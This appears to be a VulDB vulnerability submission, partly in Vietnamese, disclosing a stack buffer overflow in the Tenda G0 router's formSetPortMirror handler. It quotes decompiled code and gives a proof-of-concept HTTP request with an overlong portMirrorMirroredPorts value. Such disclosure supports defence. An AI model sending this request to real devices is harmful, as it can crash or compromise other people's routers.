Gửi #868924: Tenda G0 Tenda G0 Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda G0. Attackers can exploit this vulnerability by specifying the value of portMirrorMirroredPorts. When portMirrorMirroredPorts is parsed by formSetPortMirror and written into the fixed-size stack buffer s_ through sprintf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/module. The unified module dispatch entry is:
websDefineAction("module", (int)formModules);

The setPortMirror handler is registered as:
moduleRegister("setPortMirror", (int)formSetPortMirror);

In formSetPortMirror, the attacker-controlled portMirrorMirroredPorts parameter is read from the JSON request:
String = cJSON_GetString(a2, "portMirrorMirroredPorts", (int)&unk_507E10);

The destination buffer is a fixed-size stack buffer:
char s_[256];

When portMirrorEn is enabled, the user-controlled value is formatted into s_ without length validation:
sprintf(s_, "1;%d;%s", 3, (const char *)String);

Because sprintf writes the complete portMirrorMirroredPorts string into the fixed-size s_ stack buffer, an overly long value can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/module HTTP/1.1
Host: <device-ip>
Content-Type: application/json

{"setPortMirror":{"portMirrorEn":true,"portMirrorMirroredPorts":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}}

• Nguồn: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/G0/1.md
• Người dùng: stksgg (UID 97520)
• Đệ trình: 25/06/2026 09:07 (cách đây 2 các tháng)
• Kiểm duyệt: 13/08/2026 20:55 (2 months later)
• Trạng thái: được chấp nhận
• Mục VulDB: 389757 [Tenda G0 đến 20260625 httpd Web Management Interface /goform/module formSetPortMirror portMirrorMirroredPorts tràn bộ đệm]
• điểm: 20